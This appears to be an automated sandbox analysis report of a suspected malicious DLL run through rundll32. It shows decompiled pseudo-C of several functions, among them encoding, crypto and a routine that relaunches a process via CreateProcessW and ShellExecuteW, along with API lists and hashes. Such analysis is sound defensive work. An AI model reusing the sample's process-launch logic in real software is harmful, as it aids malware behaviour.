0x7fef472169b
0x7fef472169f
0x7fef47216a3
0x7fef47216b3
0x7fef47216bb
0x7fef47216c6
0x7fef47216d1
0x7fef47216d8
0x7fef47216db
0x7fef47216de
0x7fef47216e3
0x7fef47216e6
0x7fef47216e9
0x7fef47216ee
0x7fef47216f6
0x7fef4721702
0x7fef4721714
0x7fef472171a
0x7fef472172c
0x7fef4721732
0x7fef4721749
0x7fef472174f
0x7fef4721759
0x7fef472175c
0x7fef4721760
0x7fef4721765
0x7fef4721768
0x7fef472176b
0x7fef472176e
0x7fef4721771
0x7fef4721774
0x7fef4721777
0x7fef472177f
0x7fef4721786
0x7fef4721789
0x7fef472178f
0x7fef472179d
0x7fef47217a5
0x7fef47217b0
0x7fef47217b3
0x7fef47217bd
0x7fef47217c0
0x7fef47217c8
0x7fef47217cb
0x7fef47217d0
0x7fef47217d3
0x7fef47217da
0x7fef47217e7
0x7fef47217ec
0x7fef47217f8
0x7fef47217ff
0x7fef472180e
0x7fef4721814
0x7fef472182f
0x7fef4721836
0x7fef472183f
0x7fef4721846
0x7fef4721873
0x7fef4721879
0x7fef4721885
0x7fef472188d
0x7fef472189a
0x7fef472189a
0x7fef472189f
0x7fef47218a2
0x7fef47218b8

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 705f378adf467585235af63c15f032decd18579ac73b604d64e6e44056147754
Instruction ID: 38bedfdef397147eb49e036a0c17680974033a407d71a6e08e2c2cb2c29ca286
Opcode Fuzzy Hash: 705f378adf467585235af63c15f032decd18579ac73b604d64e6e44056147754
Instruction Fuzzy Hash: 97A177469495A14FFA0F493FA6B17EB6FA85361245D927106DEC9036F3C12C628BAF30

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF472B0C0 Relevance: .2, Instructions: 199
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E000007FE7FEF472B0C0(void* __ebx, signed int __ecx, long long __rbx, intOrPtr* __rcx, unsigned long long __rdx, signed int __rsi, unsigned long long __r8, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				unsigned long long _v64;
				signed long long _v72;
				unsigned long long _v80;
				signed long long _v88;
				long long _v96;
				long long _v104;
				void* __rdi;
				void* __rbp;
				void* _t62;
				void* _t63;
				void* _t64;
				unsigned long long _t65;
				unsigned long long _t66;
				unsigned long long _t69;
				unsigned long long _t75;
				signed long long _t77;
				signed long long _t78;
				signed long long _t84;
				unsigned long long _t106;
				unsigned long long _t132;
				signed int* _t133;
				signed long long _t142;
				signed long long _t146;
				long long _t152;
				unsigned long long _t160;
				signed long long _t165;
				long long _t166;
				signed long long _t170;
				unsigned long long _t172;
				signed int* _t173;
				void* _t177;
				intOrPtr* _t179;

				_t59 = __ecx;
				_a24 = __rbx;
				_a32 = __rsi;
				_t77 =  *0xf4777530; // 0xf9634ebbaa1d
				_t78 = _t77 ^ _t152 - 0x00000060;
				_v56 = _t78;
				_t142 =  *__rcx;
				_t172 =  *((intOrPtr*)(__rcx + 0x18));
				asm("inc ecx");
				asm("movdqa [ebp-0x30], xmm0");
				_t146 = __rsi | 0xffffffff;
				_v72 = _t78;
				_v64 = _t78;
				_t179 = __rcx;
				_v72 = _t142;
				_v64 = __rdx;
				_t9 = _t78 - 4; // -4
				_t177 = _t9;
				_t65 = _t172;
				if (_t65 == 0) goto 0xf472b16d;
				_t132 = (_v88 - _t142 >> 2 << 5) + _v80;
				if (_t65 >= 0) goto 0xf472b157;
				if (_t65 == 0) goto 0xf472b157;
				goto 0xf472b162;
				_t84 = _t132 >> 5;
				_t170 = _t142 + _t84 * 4;
				_v72 = _t170;
				_v64 = _t132;
				asm("inc ecx");
				r8d = 0;
				_v88 = _t84;
				_v80 = _t84;
				asm("movdqa [ebp-0x40], xmm0");
				_v88 = _t142;
				_v80 = __r8;
				_t66 = _t172;
				if (_t66 == 0) goto 0xf472b1e0;
				_t160 = (_v104 - _t142 >> 2 << 5) + _v96;
				if (_t66 >= 0) goto 0xf472b1c9;
				if (_t66 == 0) goto 0xf472b1c9;
				goto 0xf472b1d4;
				_t165 = _t142 + (_t160 >> 5) * 4;
				r8d = r8d & 0x0000001f;
				_v88 = _t165;
				_v80 = _t160;
				_t106 = (_t170 - _t142 >> 2 << 5) + _t132;
				if (_t170 != _t165) goto 0xf472b1ff;
				if (_t132 == _t160) goto 0xf472b2c9;
				r10d = 0;
				_t69 = _t172;
				if (_t69 == 0) goto 0xf472b23c;
				if (_t69 >= 0) goto 0xf472b22d;
				if (_t69 == 0) goto 0xf472b22d;
				goto 0xf472b238;
				r10d = r10d & 0x0000001f;
				asm("movaps xmm0, [ebp-0x20]");
				asm("movaps xmm1, [ebp-0x30]");
				asm("movdqa [ebp-0x20], xmm0");
				asm("movdqa [ebp-0x40], xmm1");
				_t166 = _v96;
				_t173 = _v104;
				_t133 = _v72;
				if (_t173 != _t142 + _t177 - (_t146 - _t172 >> 5 << 2) + (_t172 >> 5) * 4) goto 0xf472b26a;
				if (_t166 == _t172) goto 0xf472b2b3;
				if (( *_t173 & 0x00000001 << __ecx) == 0) goto 0xf472b287;
				 *_t133 =  *_t133 | 0x00000001;
				goto 0xf472b28d;
				 *_t133 =  *_t133 &  !(1 << __ecx << __ecx);
				if (_v64 - 0x1f >= 0) goto 0xf472b298;
				goto 0xf472b29f;
				r8d = 0;
				if (_t166 - 0x1f >= 0) goto 0xf472b2aa;
				goto 0xf472b260;
				r9d = 0;
				goto 0xf472b260;
				E000007FE7FEF4729F20(_t63, _t106, __rcx, ( &(_t133[1]) -  *__rcx >> 2 << 5) + _v64 + 1, _t142 + _t177 - (_t146 - _t172 >> 5 << 2) + (_t172 >> 5) * 4, _t152);
				_v96 = 0;
				_v104 =  *_t179;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x30], xmm0");
				_t75 = _t106;
				if (_t75 >= 0) goto 0xf472b302;
				if (_t75 == 0) goto 0xf472b302;
				_v88 = _v88 + _t177 - (_t146 - _t106 >> 5 << 2);
				goto 0xf472b315;
				_v88 = _v88 + (_t106 >> 5) * 4;
				_v80 = _t106;
				asm("movaps xmm0, [ebp-0x30]");
				asm("inc ecx");
				return E000007FE7FEF4740F90(_t59, _t62, _t63, _t64, _v56 ^ _t152 - 0x00000060, _v88 + (_t106 >> 5) * 4, _v64 + 1);
			}

0x7fef472b0c0
0x7fef472b0c0
0x7fef472b0c5
0x7fef472b0d9
0x7fef472b0e0
0x7fef472b0e3
0x7fef472b0e7
0x7fef472b0ea
0x7fef472b0ee
0x7fef472b0f9
0x7fef472b0fe
0x7fef472b102
0x7fef472b106
0x7fef472b10a
0x7fef472b110
0x7fef472b114
0x7fef472b118
0x7fef472b118
0x7fef472b11c
0x7fef472b11f
0x7fef472b130
0x7fef472b134
0x7fef472b13c
0x7fef472b155
0x7fef472b15a
0x7fef472b15e
0x7fef472b165
0x7fef472b169
0x7fef472b16d
0x7fef472b173
0x7fef472b176
0x7fef472b17a
0x7fef472b181
0x7fef472b186
0x7fef472b18a
0x7fef472b18e
0x7fef472b191
0x7fef472b1a2
0x7fef472b1a6
0x7fef472b1ae
0x7fef472b1c7
0x7fef472b1d0
0x7fef472b1d4
0x7fef472b1d8
0x7fef472b1dc
0x7fef472b1ee
0x7fef472b1f4
0x7fef472b1f9
0x7fef472b1ff
0x7fef472b202
0x7fef472b205
0x7fef472b20a
0x7fef472b212
0x7fef472b22b
0x7fef472b238
0x7fef472b23c
0x7fef472b240
0x7fef472b244
0x7fef472b249
0x7fef472b24e
0x7fef472b252
0x7fef472b25a
0x7fef472b263
0x7fef472b268
0x7fef472b27f
0x7fef472b283
0x7fef472b285
0x7fef472b28b
0x7fef472b291
0x7fef472b296
0x7fef472b298
0x7fef472b2a3
0x7fef472b2a8
0x7fef472b2aa
0x7fef472b2b1
0x7fef472b2c4
0x7fef472b2cc
0x7fef472b2d4
0x7fef472b2d8
0x7fef472b2dc
0x7fef472b2e1
0x7fef472b2e4
0x7fef472b2ec
0x7fef472b2fc
0x7fef472b300
0x7fef472b311
0x7fef472b31b
0x7fef472b31f
0x7fef472b323
0x7fef472b34c

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22474404bc366b915c7ad9a3d9a666a235cf28e60ef3a9bbab8335ef19a608c1
Instruction ID: bc00f111df58bc6aa76c9e1d286e11559aef6f542c4acddadde7265f5d59520d
Opcode Fuzzy Hash: 22474404bc366b915c7ad9a3d9a666a235cf28e60ef3a9bbab8335ef19a608c1
Instruction Fuzzy Hash: FA71DF62F19B64C5EB90CFB9E941AFD22F0B7187C4F545125DE4D67B98DBB8A241C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4722180 Relevance: .1, Instructions: 144
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E000007FE7FEF4722180(signed int __rax, long long __rcx, signed char* __rdx) {
				void* __rdi;
				void* _t56;
				void* _t96;
				void* _t97;
				void* _t120;
				void* _t121;

				_t109 = __rdx;
				 *((long long*)(_t120 + 8)) = __rcx;
				_push(_t96);
				_t121 = _t120 - 0x30;
				 *((long long*)(_t121 + 0x28)) = 0xfffffffe;
				 *((intOrPtr*)(_t121 + 0x20)) = 0;
				 *((long long*)(__rcx + 0x18)) = 0xf;
				 *((long long*)(__rcx + 0x10)) = 0;
				 *((char*)(__rcx)) = 0;
				 *((intOrPtr*)(_t121 + 0x20)) = 1;
				if (r8d == 0) goto 0xf47223c5;
				asm("o16 nop [eax+eax]");
				 *((char*)(_t121 + __rcx + 0x80)) =  *__rdx & 0x000000ff;
				r12d =  *(_t121 + 0x82) & 0x000000ff;
				r14d =  *(_t121 + 0x80) & 0x000000ff;
				if (__rcx + 1 != 3) goto 0xf47222ae;
				 *(_t121 + 0x88) = (r14b & 0xffffffff) >> 2;
				 *(_t121 + 0x89) = ((r14b & 3) << 4) + ((bpl & 0xffffffff) >> 4);
				 *(_t121 + 0x8a) = ((bpl & 0xf) << 2) + ((r12b & 0xffffffff) >> 6);
				 *(_t121 + 0x8b) = r12b & 0x3f;
				_t103 =  >=  ?  *0xf4778c10 : 0xf4778c10;
				r8d =  *(__rax + ( >=  ?  *0xf4778c10 : 0xf4778c10)) & 0x000000ff;
				E000007FE7FEF4722A50(__rax, __rcx, __rdx, __rcx);
				_t97 = _t96 + 1;
				if (_t97 - 4 < 0) goto 0xf4722270;
				if (r8d - 1 != 0) goto 0xf47221e0;
				if (0 == 0) goto 0xf47223c5;
				if (0 - 3 >= 0) goto 0xf47222fc;
				if (0 - 3 >= 0) goto 0xf47222f6;
				 *((char*)(_t121 + 0x80)) = 0;
				if (1 - 3 < 0) goto 0xf47222c7;
				r12d =  *(_t121 + 0x82) & 0x000000ff;
				r14d =  *(_t121 + 0x80) & 0x000000ff;
				goto 0xf47222fc;
				E000007FE7FEF4741A9C();
				asm("int3");
				 *(_t121 + 0x88) = (r14b & 0xffffffff) >> 2;
				r14b = r14b & 0x00000003;
				r14b = r14b << 4;
				r14b = r14b + ((bpl & 0xffffffff) >> 4);
				 *(_t121 + 0x89) = r14b;
				bpl = bpl & 0x0000000f;
				bpl = bpl << 2;
				bpl = bpl + ((r12b & 0xffffffff) >> 6);
				 *(_t121 + 0x8a) = bpl;
				r12b = r12b & 0x0000003f;
				 *(_t121 + 0x8b) = r12b;
				_t29 = _t97 + 1; // 0x2
				if (_t29 <= 0) goto 0xf4722395;
				_t106 =  >=  ?  *0xf4778c10 : 0xf4778c10;
				r8d =  *(1 + ( >=  ?  *0xf4778c10 : 0xf4778c10)) & 0x000000ff;
				E000007FE7FEF4722A50(1, __rcx, _t109, __rcx);
				if ( *0xf4778c28 != 0x10) goto 0xf4722360;
				if (0 - 3 >= 0) goto 0xf47223c5;
				asm("o16 nop [eax+eax]");
				r8b = 0x3d;
				_t56 = E000007FE7FEF4722A50(1, __rcx, _t109, __rcx);
				if (_t97 - 1 != 0) goto 0xf47223b0;
				return _t56;
			}

0x7fef4722180
0x7fef4722180
0x7fef4722185
0x7fef472218f
0x7fef4722193
0x7fef47221a5
0x7fef47221ad
0x7fef47221b5
0x7fef47221bd
0x7fef47221c0
0x7fef47221cd
0x7fef47221d5
0x7fef47221e6
0x7fef47221f6
0x7fef4722207
0x7fef4722214
0x7fef4722221
0x7fef472223b
0x7fef4722255
0x7fef4722262
0x7fef472227f
0x7fef472228f
0x7fef472229c
0x7fef47222a1
0x7fef47222a8
0x7fef47222b0
0x7fef47222b8
0x7fef47222c5
0x7fef47222c7
0x7fef47222c9
0x7fef47222d8
0x7fef47222da
0x7fef47222eb
0x7fef47222f4
0x7fef47222f6
0x7fef47222fb
0x7fef4722303
0x7fef472230a
0x7fef472230e
0x7fef4722319
0x7fef472231c
0x7fef4722324
0x7fef4722328
0x7fef4722333
0x7fef4722336
0x7fef472233e
0x7fef4722342
0x7fef472234a
0x7fef472234f
0x7fef472236f
0x7fef472237a
0x7fef4722387
0x7fef4722393
0x7fef4722398
0x7fef47223a7
0x7fef47223b0
0x7fef47223bb
0x7fef47223c3
0x7fef47223d6

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 002fb23205e4ee09bab73c690c7a74407b7b67bff9d8c3369b6e8da2c78919cc
Instruction ID: d9252c949f3817b5a04f86030a8ce080879ace1b621f0e1494003925292a3d8b
Opcode Fuzzy Hash: 002fb23205e4ee09bab73c690c7a74407b7b67bff9d8c3369b6e8da2c78919cc
Instruction Fuzzy Hash: A151231290D5D289F7A18B24E4117BBBFE0F352310F454175DBD982AE3DABCD24ADB10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4721380 Relevance: .1, Instructions: 68
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF4721380(long long __rbx, long long __rdi, long long __rsi) {
				signed char _t52;
				signed char _t53;
				intOrPtr _t72;
				signed char* _t73;
				signed char* _t74;
				long long _t79;
				void* _t82;

				 *((long long*)(_t82 + 8)) = __rbx;
				 *((long long*)(_t82 + 0x10)) = _t79;
				 *((long long*)(_t82 + 0x18)) = __rsi;
				 *((long long*)(_t82 + 0x20)) = __rdi;
				_t72 =  *0xf477b148; // 0x3028f40
				_t73 = _t72 + 2;
				_t53 =  *(_t73 - 2) & 0x000000ff;
				r9d =  *(_t73 - 1) & 0x000000ff;
				r11d =  *_t73 & 0x000000ff;
				r8d = _t53 & 0x000000ff;
				r10d = sil & 0xffffffff;
				r8b = r8b ^ r9b;
				r10b = r10b ^ r11b;
				r8b = r8b + r8b;
				dil = dil ^ _t53;
				_t74 =  &(_t73[4]);
				dil = dil ^ r9b;
				r8d = r9b & 0xffffffff;
				r8b = r8b ^ r11b;
				r8b = r8b + r8b;
				 *(_t74 - 6) = 0x0000001b * ((r8b & 0xffffffff) >> 0x00000007) ^ r8b ^ _t53 ^ dil;
				r10b = r10b + r10b;
				r8d = sil & 0xffffffff;
				 *(_t74 - 5) = 0x0000001b * ((r8b & 0xffffffff) >> 0x00000007) ^ r8b ^ r9b ^ dil;
				r8b = r8b ^ _t53;
				r8b = r8b + r8b;
				 *(_t74 - 4) = 0x0000001b * ((r10b & 0xffffffff) >> 0x00000007) ^ r10b ^ r11b ^ dil;
				_t52 = 0x0000001b * ((r8b & 0xffffffff) >> 0x00000007) ^ r8b ^ sil ^ dil;
				 *(_t74 - 3) = _t52;
				if (_t79 - 1 != 0) goto 0xf47213b0;
				return _t52;
			}

0x7fef4721380
0x7fef4721385
0x7fef472138a
0x7fef472138f
0x7fef4721394
0x7fef47213a0
0x7fef47213b0
0x7fef47213b4
0x7fef47213bd
0x7fef47213c1
0x7fef47213c5
0x7fef47213c9
0x7fef47213cc
0x7fef47213d5
0x7fef47213df
0x7fef47213e2
0x7fef47213e6
0x7fef47213ee
0x7fef47213f4
0x7fef47213fe
0x7fef4721401
0x7fef4721418
0x7fef472141e
0x7fef4721422
0x7fef4721425
0x7fef4721439
0x7fef472143f
0x7fef472144c
0x7fef472144f
0x7fef4721455
0x7fef472146f

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975e410c32c13f5898ea58c275c7f669edc41aeb90ceb7fb26cc81af672a1655
Instruction ID: 45f273452be166c33b2336cda567c38726010eed26bbf6d1bbd4c21e81f41a22
Opcode Fuzzy Hash: 975e410c32c13f5898ea58c275c7f669edc41aeb90ceb7fb26cc81af672a1655
Instruction Fuzzy Hash: A021F85294B3E069EF01873890117EFAFA1E3A2B45F576402AFC503A93C13ED103A720

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF473A5D0 Relevance: 22.7, APIs: 15, Instructions: 191commemoryCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000007FEF473A60A
CoCreateInstance.OLE32 ref: 000007FEF473A635
VariantInit.OLEAUT32 ref: 000007FEF473A648
VariantInit.OLEAUT32 ref: 000007FEF473A667
VariantInit.OLEAUT32 ref: 000007FEF473A686
VariantInit.OLEAUT32 ref: 000007FEF473A6A4
VariantClear.OLEAUT32 ref: 000007FEF473A6E8
VariantClear.OLEAUT32 ref: 000007FEF473A6F3
VariantClear.OLEAUT32 ref: 000007FEF473A6FF
VariantClear.OLEAUT32 ref: 000007FEF473A70B
CoUninitialize.OLE32 ref: 000007FEF473A71F
SysAllocString.OLEAUT32 ref: 000007FEF473A760
SysFreeString.OLEAUT32 ref: 000007FEF473A7B5
SysFreeString.OLEAUT32 ref: 000007FEF473A839
CoUninitialize.OLE32 ref: 000007FEF473A86F

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Variant$ClearInit$String$FreeUninitialize$AllocCreateInitializeInstance
String ID:
API String ID: 1925910644-0
Opcode ID: d7511638831f5ca20921f18da2bc90b3459c4116764307c751b0047ed052d4c2
Instruction ID: 9a462f87ed94e69bf9fd2b539f971a325e5cd58933bde306b6df61d984d06117
Opcode Fuzzy Hash: d7511638831f5ca20921f18da2bc90b3459c4116764307c751b0047ed052d4c2
Instruction Fuzzy Hash: 3E916B22B0AB81C6EB85DF35D845AB973F5FB84B98F048126DA4E47AB4DF39D455C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF473A360 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 142
processCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E000007FE7FEF473A360(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, long long __rbx, void* __rcx, signed int __rdi, void* __rsi, void* __r9, void* __r11) {
				void* __rbp;
				void* _t102;
				void* _t113;
				void* _t126;
				signed long long _t127;
				signed long long _t128;
				void* _t135;
				signed int _t161;
				void* _t164;
				void* _t165;
				signed long long _t166;
				void* _t182;

				_t163 = __rsi;
				_t161 = __rdi;
				_t135 = __rcx;
				_t133 = __rbx;
				_t102 = __ecx;
				_t126 = _t165;
				_t164 = _t126 - 0x688;
				_t166 = _t165 - 0x780;
				 *((long long*)(_t166 + 0x50)) = 0xfffffffe;
				 *((long long*)(_t126 + 0x10)) = __rbx;
				 *((long long*)(_t126 + 0x18)) = __rdi;
				_t127 =  *0xf4777530; // 0xf9634ebbaa1d
				_t128 = _t127 ^ _t166;
				 *(_t164 + 0x670) = _t128;
				_t6 = _t135 + 0x620; // 0x620
				E000007FE7FEF4734050(E000007FE7FEF47234E0(__edx, __edi, __esi, __eflags, __rbx, _t164 - 0x68, _t6, __r9, __r11), __esi, _t164 - 0x48, __rsi, _t128);
				if ( *((long long*)(_t164 - 0x50)) - 0x10 < 0) goto 0xf473a3c2;
				E000007FE7FEF4741974( *((intOrPtr*)(_t164 - 0x68)));
				 *((long long*)(_t164 - 0x50)) = 0xf;
				 *((long long*)(_t164 - 0x58)) = __rdi;
				 *((intOrPtr*)(_t164 - 0x68)) = dil;
				 *((intOrPtr*)(_t164 - 0x20)) = 0;
				_t15 = _t161 + 0x60; // 0x60
				r8d = _t15;
				E000007FE7FEF47486A0(_t102, 0, 0, _t113, _t164 - 0x18, _t164 - 0x48, _t128);
				 *((long long*)(_t166 + 0x60)) = __rdi;
				 *(_t166 + 0x68) = _t128;
				 *(_t166 + 0x70) = _t128;
				 *((long long*)(_t166 + 0x58)) = __rdi;
				_t22 = _t161 + 6; // 0x6
				__imp__GetModuleHandleExW();
				if (0 == 0) goto 0xf473a443;
				 *((short*)(_t164 + 0x50)) = 0;
				r8d = 0x206;
				E000007FE7FEF47486A0(_t22, 0, 0, _t113, _t164 + 0x52, L"Rdwmnjioffws", _t166 + 0x58);
				r8d = 0x104;
				if (GetModuleFileNameW(??, ??, ??) != 0) goto 0xf473a450;
				GetLastError();
				goto 0xf473a59a;
				 *((long long*)(_t164 - 0x70)) = 7;
				 *(_t164 - 0x78) = __rdi;
				 *((short*)(_t166 + 0x78)) = 0;
				if ( *((intOrPtr*)(_t164 + 0x50)) != 0) goto 0xf473a46c;
				goto 0xf473a47e;
				if ( *((intOrPtr*)(_t164 + 0x50 + ((__rdi | 0xffffffff) + 1) * 2)) != 0) goto 0xf473a474;
				E000007FE7FEF4728E10(_t133, _t166 + 0x78, _t164 + 0x50, _t163, (__rdi | 0xffffffff) + 1);
				_t156 =  >=  ?  *((void*)(_t166 + 0x78)) : _t166 + 0x78;
				_t158 =  >=  ?  *((void*)(_t166 + 0x78)) : _t166 + 0x78;
				 *((long long*)(_t164 - 0x50)) = 0xf;
				 *((long long*)(_t164 - 0x58)) = __rdi;
				 *((char*)(_t164 - 0x68)) = 0;
				E000007FE7FEF473F620(_t133, _t164 - 0x68,  >=  ?  *((void*)(_t166 + 0x78)) : _t166 + 0x78, _t163, _t164, ( >=  ?  *((void*)(_t166 + 0x78)) : _t166 + 0x78) +  *(_t164 - 0x78) * 2, _t182);
				_t176 =  >=  ?  *((void*)(_t164 - 0x48)) : _t164 - 0x48;
				E000007FE7FEF4733CC0(_t164 + 0x260,  >=  ?  *((void*)(_t166 + 0x78)) : _t166 + 0x78, __rdi,  >=  ?  *((void*)(_t164 - 0x48)) : _t164 - 0x48, _t164 + 0x50);
				 *((long long*)(_t166 + 0x48)) = _t166 + 0x60;
				 *((long long*)(_t166 + 0x40)) = _t164 - 0x20;
				 *(_t166 + 0x38) = _t161;
				 *(_t166 + 0x30) = _t161;
				 *((intOrPtr*)(_t166 + 0x28)) = 0x8000000;
				 *(_t166 + 0x20) = 0;
				r9d = 0;
				r8d = 0;
				CreateProcessW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??);
				 *((intOrPtr*)(_t166 + 0x28)) = 0;
				 *(_t166 + 0x20) = _t161;
				r9d = 0;
				ShellExecuteW(??, ??, ??, ??, ??, ??);
				CloseHandle(??);
				CloseHandle(??);
				if ( *((long long*)(_t164 - 0x50)) - 0x10 < 0) goto 0xf473a578;
				E000007FE7FEF4741974( *((intOrPtr*)(_t164 - 0x68)));
				if ( *((long long*)(_t164 - 0x70)) - 8 < 0) goto 0xf473a589;
				E000007FE7FEF4741974( *((intOrPtr*)(_t166 + 0x78)));
				 *((long long*)(_t164 - 0x70)) = 7;
				 *(_t164 - 0x78) = _t161;
				 *((short*)(_t166 + 0x78)) = 0;
				if ( *((long long*)(_t164 - 0x30)) - 8 < 0) goto 0xf473a5aa;
				E000007FE7FEF4741974( *((intOrPtr*)(_t164 - 0x48)));
				return E000007FE7FEF4740F90(0, 0, __esi, _t113,  *(_t164 + 0x670) ^ _t166, L"open", _t164 + 0x260);
			}

0x7fef473a360
0x7fef473a360
0x7fef473a360
0x7fef473a360
0x7fef473a360
0x7fef473a360
0x7fef473a364
0x7fef473a36b
0x7fef473a372
0x7fef473a37b
0x7fef473a37f
0x7fef473a383
0x7fef473a38a
0x7fef473a38d
0x7fef473a394
0x7fef473a3ac
0x7fef473a3b7
0x7fef473a3bd
0x7fef473a3c2
0x7fef473a3cc
0x7fef473a3d0
0x7fef473a3d4
0x7fef473a3d9
0x7fef473a3d9
0x7fef473a3e1
0x7fef473a3e6
0x7fef473a3ed
0x7fef473a3f2
0x7fef473a3f7
0x7fef473a408
0x7fef473a40b
0x7fef473a413
0x7fef473a415
0x7fef473a41b
0x7fef473a425
0x7fef473a42a
0x7fef473a441
0x7fef473a443
0x7fef473a44b
0x7fef473a450
0x7fef473a458
0x7fef473a45c
0x7fef473a465
0x7fef473a46a
0x7fef473a47c
0x7fef473a487
0x7fef473a497
0x7fef473a4aa
0x7fef473a4b0
0x7fef473a4b8
0x7fef473a4bc
0x7fef473a4c4
0x7fef473a4d2
0x7fef473a4e7
0x7fef473a4f1
0x7fef473a4fa
0x7fef473a4ff
0x7fef473a504
0x7fef473a509
0x7fef473a511
0x7fef473a515
0x7fef473a518
0x7fef473a524
0x7fef473a52a
0x7fef473a52e
0x7fef473a533
0x7fef473a546
0x7fef473a551
0x7fef473a55c
0x7fef473a56c
0x7fef473a572
0x7fef473a57d
0x7fef473a584
0x7fef473a589
0x7fef473a591
0x7fef473a595
0x7fef473a59f
0x7fef473a5a5
0x7fef473a5cf

APIs

GetModuleHandleExW.KERNEL32 ref: 000007FEF473A40B
GetModuleFileNameW.KERNEL32 ref: 000007FEF473A439
GetLastError.KERNEL32 ref: 000007FEF473A443
CreateProcessW.KERNEL32 ref: 000007FEF473A524
ShellExecuteW.SHELL32 ref: 000007FEF473A546
CloseHandle.KERNEL32 ref: 000007FEF473A551
CloseHandle.KERNEL32 ref: 000007FEF473A55C

Strings

Rdwmnjioffws, xrefs: 000007FEF473A401
open, xrefs: 000007FEF473A53D

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Handle$CloseModule$CreateErrorExecuteFileLastNameProcessShell
String ID: Rdwmnjioffws$open
API String ID: 4133105627-221955668
Opcode ID: 73a470b125646604613dda1206af9e74e8091fd2ec33251f4562e7481b9b733d
Instruction ID: 3477a4f2acfbc4af69f424215ee3b4fca539e7b55aa25e02795ec2eab158b549
Opcode Fuzzy Hash: 73a470b125646604613dda1206af9e74e8091fd2ec33251f4562e7481b9b733d
